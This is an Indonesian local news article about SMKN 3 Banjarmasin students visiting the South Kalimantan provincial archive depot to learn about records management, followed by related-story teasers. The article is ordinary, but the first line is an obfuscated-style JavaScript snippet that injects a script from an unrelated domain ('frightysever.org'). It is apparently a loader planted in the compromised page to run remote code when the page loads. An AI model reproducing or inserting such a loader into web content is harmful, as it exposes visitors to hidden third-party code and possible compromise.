(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Depo Arsip Dinas Perpustakaan dan Kearsipan (Dispersip) Kalimantan Selatan (Kalsel) kedatangan para pelajar dari SMKN 3 Banjarmasin, Kamis (20/10/2022) siang.
Sebanyak 37 pelajar kelas XI jurusan Manajemen Perkantoran dan Bisnis datang untuk mengetahui pengelolaan seputar kearsipan.
Kepala Bidang Pengelolaan Arsip, Depo Arsip Dispersip Kalsel, Riza Fahlevi mengatakan, selama dirinya menjabat sebagai kabid baru kali ini kedatangan dari pelajar dalam jumlah banyak.
“Mereka datang ke sini untuk belajar terkait cara pemeliharaan, pengelolaan dan penjelasan arsip dinamis dan arsip statis,” katanya.
Dilanjutkan Riza, dalam memberikan materi ke pelajar, pihaknya memberikan tayangan dan menjelaskan secara rinci pengelolaan arsipnya kepada pelajar SMKN 3 Banjarmasin.
Pada kunjungan ini juga kata Riza, para pelajar juga mendapat penjelasan terkait pengelolaan arsip bencana, seperti bencana Aceh, inilah pentingnya pengelolaan arsip sampai dibawa ke Arsip Nasional Republik Indonesia (ANRI).
“Di sekolah sangat terbatas dari sarana dan prasarananya di bidang perkantoran, di sini mereka kita ajarkan supaya penempatan arsip sesuai pada tempatnya,” tuntasnya.
Pada kunjungan ke Depo Arsip, para pelajar SMKN 3 Banjarmasin sangat serius mendengarkan penjelasan dan mereka sangat aktif dalam bertanya ketika mengunjungi setiap ruangan Depo Arsip Diseprsip Kalsel.
Baca juga: Bawaslu HSU Ajak Masyarakat Terlibat Pengawasan Tahapan Pemilu 2024
Sementara itu, Guru Produktik SMKN 3 Banjarmasin, Siti Anisa mengatakan maksud kunjungan mereka ke Depo Arsip untuk belajar mengetahu secara langsung pengelolaan arsip.
“Kami untuk alat-alat sudah ada, namun tidak sama dengan Depo Arsip, jadi kami ingin tahu seperti apa penerapannya,” katanya.
Setelah berkunjung, kata Guru Produktif mereka banyak melihat alat penyimpanan arsip dinamis, arsip statis dan arsip in-aktif, di Depo Arsip sudah tidak memakai otner tapi memakai karton atau duz.
“Ini sangat bermanfaat bagi kami, karena banyak yang kami dapatkan, apalah di sekolah ada mata pelajaran terkait kearsipan sehingga kami bisa langsung mengaplikasikan kepada para siswa,” tuntasnya.
Terpisah, salah seorang siswi SMKN 3 Banjarmasin, Norya mengatakan kunjungan ini sangat linier dengan mata pelajaran yakni terkait arsip.
Baca juga: Melestarikan Tradisi Baayun Maulid di Museum Lambung Mangkurat
“Di sekolahkan masih seadanya, di sini (Depo Arsip) bisa melihat lebih banyak, kearsipan tidak hanya selembar kertas tapi ada juga foto atau media film,” katanya.
Menurutnya, sambutan Depo Arsip sangat memuaskan baik dari penyambutan dan dalam penjelasan terkait kearsipan mudah dipahami.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
This website uses cookies.